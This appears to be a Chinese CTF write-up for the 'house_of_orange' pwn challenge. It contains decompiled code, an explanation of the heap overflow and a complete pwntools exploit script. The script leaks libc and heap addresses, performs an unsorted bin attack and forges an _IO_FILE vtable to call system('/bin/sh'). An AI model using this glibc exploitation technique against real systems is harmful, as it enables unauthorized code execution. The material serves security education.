64位程序,保护全开 #house of orange #unsorted bin attack #IO_FILE
程序逻辑
1 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) 2 { 3 signed int v3; // eax 4 5 main_init(); 6 while ( 1 ) 7 { 8 while ( 1 ) 9 { 10 menu(); 11 v3 = read_int(); 12 if ( v3 != 2 ) 13 break; 14 see_house(); 15 } 16 if ( v3 > 2 ) 17 { 18 if ( v3 == 3 ) 19 { 20 upgrade_house(); 21 } 22 else 23 { 24 if ( v3 == 4 ) 25 { 26 puts("give up"); 27 exit(0); 28 } 29 LABEL_14: 30 puts("Invalid choice"); 31 } 32 } 33 else 34 { 35 if ( v3 != 1 ) 36 goto LABEL_14; 37 build_house(); 38 } 39 } 40 }
build house函数,第一次malloc(0x10)申请结构体内存,第二次malloc(size)申请内存保存name,第三次calloc(1,8)申请内存保存color信息
1 int build_house() 2 { 3 unsigned int size; // [rsp+8h] [rbp-18h] 4 signed int color_id; // [rsp+Ch] [rbp-14h] 5 void *v3; // [rsp+10h] [rbp-10h] 6 _DWORD *v4; // [rsp+18h] [rbp-8h] 7 8 if ( num > 3u ) 9 { 10 puts("Too many house"); 11 exit(1); 12 } 13 v3 = malloc(0x10uLL); 14 printf("Length of name :"); 15 size = read_int(); 16 if ( size > 0x1000 ) 17 size = 4096; 18 *((_QWORD *)v3 + 1) = malloc(size); 19 if ( !*((_QWORD *)v3 + 1) ) 20 { 21 puts("Malloc error !!!"); 22 exit(1); 23 } 24 printf("Name :"); 25 read_str(*((void **)v3 + 1), size); 26 v4 = calloc(1uLL, 8uLL); 27 printf("Price of Orange:", 8LL); 28 *v4 = read_int(); 29 chose_color(); 30 printf("Color of Orange:"); 31 color_id = read_int(); 32 if ( color_id != 56746 && (color_id <= 0 || color_id > 7) ) 33 { 34 puts("No such color"); 35 exit(1); 36 } 37 if ( color_id == 56746 ) 38 v4[1] = 56746; 39 else 40 v4[1] = color_id + 30; 41 *(_QWORD *)v3 = v4; 42 cur_house = v3; 43 ++num; 44 return puts("Finish"); 45 }
upgrade house时的size与build时的size可以不同,最大为0x1000字节,造成堆溢出
1 int upgrade_house() 2 { 3 _DWORD *v1; // rbx 4 unsigned int v2; // [rsp+8h] [rbp-18h] 5 signed int v3; // [rsp+Ch] [rbp-14h] 6 7 if ( unk_203074 > 2u ) 8 return puts("You can't upgrade more"); 9 if ( !cur_house ) 10 return puts("No such house !"); 11 printf("Length of name :"); 12 v2 = read_int(); 13 if ( v2 > 0x1000 ) 14 v2 = 4096; 15 printf("Name:"); 16 read_str((void *)cur_house[1], v2); 17 printf("Price of Orange: ", v2); 18 v1 = (_DWORD *)*cur_house; 19 *v1 = read_int(); 20 chose_color(); 21 printf("Color of Orange: "); 22 v3 = read_int(); 23 if ( v3 != 56746 && (v3 <= 0 || v3 > 7) ) 24 { 25 puts("No such color"); 26 exit(1); 27 } 28 if ( v3 == 56746 ) 29 *(_DWORD *)(*cur_house + 4LL) = 56746; 30 else 31 *(_DWORD *)(*cur_house + 4LL) = v3 + 30; 32 ++unk_203074; 33 return puts("Finish"); 34 }
利用思路
①通过堆溢出,修改top chunk的大小,然后分配一个大小大于top chunk大小的chunk,所以 旧top chunk就会被free掉,进入unsorted bin中,将其称为old top chunk
大小满足
- 大于MINSIZE(0X10)
- 小于所需的大小 + MINSIZE
- prev inuse位设置为1
- old_top + oldsize的值是页对齐的
②然后再分配一个大小在large bin 的大小范围内的chunk,那么这个chunk的fd,bk字段指向main_arena中地址,fd_nextsize,bk_nextzsize字段指向堆中地址,通过两次upgrade和see将libc地址和heap地址都泄露出来。
③之后通过堆溢出修改old top chunk的size字段为0x61,利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58(即&unsorted_bin+0x10)
④此时在&unsorted_bin+0x10处即为一个fake _IO_FILE结构,偏移0x60处即为chain,指向下一个_IO_FILE结构,而此处为main_arena中smallbin[4],之前将old top chunk的size字段改为0x61,之后会进入smallbin[4],而之前smallbin为空,所以链表头即为old top chunk,即chain指向old top chunk。
⑤第③步溢出时即可在old top chunk处伪造好fake _IO_FILE结构,偏移0x20处为_IO_write_base,偏移0x28处为_IO_write_ptr,偏移0xc8处为_mode,偏移0xd8处为ptr_vtable
绕过检测:
1._mode<=0
2._IO_write_base<IO_write_ptr
⑥ptr_vtable指向伪造的vtable处,vtable[3]为IO_overflow函数地址,将vtable[3]伪造为system地址,
⑦如果再进入build_house函数,进行malloc(0x10),由于0x10<=2*SIZE_SZ,就会触发malloc_printerr,会遍历IO_llist_all,通过chain找到最终伪造的在old top chunk处的_IO_FILE,然后找到vtable,最终调用 IO_overflow函数
⑧调用IO_overflow时会传入_IO_FILE结构指针作为参数,将old top chunk处伪造的_IO_FILE的前几个字节修改为/bin/sh\x00 即最终调用为system('/bin/sh')
expolit
1 from pwn import* 2 3 p = process('./house_of_orange') 4 elf = ELF('./house_of_orange') 5 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 6 7 def menu(idx): 8 p.recvuntil(': ') 9 p.sendline(str(idx)) 10 11 def see(): 12 menu(2) 13 14 def build(length, nm, pz, color): 15 menu(1) 16 p.recvuntil(":") 17 p.sendline(str(length)) 18 p.recvuntil(":") 19 p.send(nm) 20 p.recvuntil(":") 21 p.sendline(str(pz)) 22 p.recvuntil(":") 23 p.sendline(str(color)) 24 25 def upgrade(length, nm, pz, color): 26 menu(3) 27 p.recvuntil(":") 28 p.sendline(str(length)) 29 p.recvuntil(":") 30 p.send(nm) 31 p.recvuntil(":") 32 p.sendline(str(pz)) 33 p.recvuntil(":") 34 p.sendline(str(color)) 35 36 #set top_chunk->size=0xf81 37 build(0x30,'a'*8,123,1) 38 payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf81) 39 upgrade(len(payload),payload,123,2) 40 41 #top_chunk to unsorted bin 42 build(0x1000,'b',123,1) 43 log.info('-----------------------leak address-------------------------') 44 45 #malloc largechunk to use old_top 46 #leak libc_base 47 build(0x400,'a'*8,123,1) 48 #gdb.attach(p) 49 off_to_libc_base=0x3c4b20 50 off_to_main_arena=1640 51 see() 52 p.recvuntil("a"*8) 53 leak = u64(p.recv(6).ljust(8,'\x00')) 54 libc_base = leak -off_to_main_arena- off_to_libc_base 55 print "libc base address -->[%s]"%hex(libc_base) 56 57 #malloc largechunk again 58 #leak heap_base 59 upgrade(0x400,'a'*16,123,1) 60 #gdb.attach(p) 61 off_to_heap_base=0xe0 62 see() 63 p.recvuntil('a'*16) 64 leak_heap = u64(p.recv(6).ljust(8,'\x00')) 65 heap_base = leak_heap - off_to_heap_base 66 print "leak_heap -->[%s]"%hex(leak_heap) 67 print "heap_base -->[%s]"%hex(heap_base) 68 69 #unsorted bin attack 70 #_IO_list_all -> &unsorted bin-0x10 //fake _IO_FILE in main_arena 71 #*(_IO_FILE+0X68)=*(&unsorted bin-0x10+0x68) 72 #chain=smallbin[4] 73 #old_top_chunk->size=0x61 74 #old_top_chunk to smallbin[4] 75 #chain -> old_top_chunk 76 #make fake _IO_FILE in old_top_chunk 77 _IO_list_all = libc.symbols['_IO_list_all'] + libc_base 78 system = libc.symbols['system'] + libc_base 79 log.info('-------------------------unsorted bin and build fake file--------------------------') 80 payload = 'a'*0x400 81 payload += p64(0) + p64(0x21) + 'a'*0x10 82 #old_top_chunk=_IO_FILE 83 fake_file = '/bin/sh\x00' + p64(0x61) 84 fake_file += p64(0) + p64(_IO_list_all - 0x10)#unsorted bin attack 85 fake_file += p64(0) + p64(1) 86 #bypass check 87 #_IO_FILE fp 88 #fp->_IO_write_base < fp->_IO_write_ptr (offset *(0x20)<*(0x28)) 89 #fp->_mode<=0 (offset *(0xc8)<=0) 90 fake_file = fake_file.ljust(0xc0,'\x00') 91 payload += fake_file 92 payload += p64(0)*3 93 #0xc0+0x18=0xd8 94 #_IO_jump_t *ptr_vtable 95 #file_adr+0xd8=&ptr_vtable 96 #vtable[3]=overflow_adr 97 #gdb.attach(p) 98 payload += p64(heap_base + 0x5f0)#ptr_vtable 99 payload += p64(0)*3#vtable 100 payload += p64(system)#vtable[3] 101 upgrade(0x800,payload,123,1) 102 p.recv() 103 p.sendline('1') 104 #malloc size<=2*SIZE_SZ 105 #malloc(0x10) -> malloc_printerr ->overflow(IO_list_all) ->system('/bin/sh') 106 p.interactive()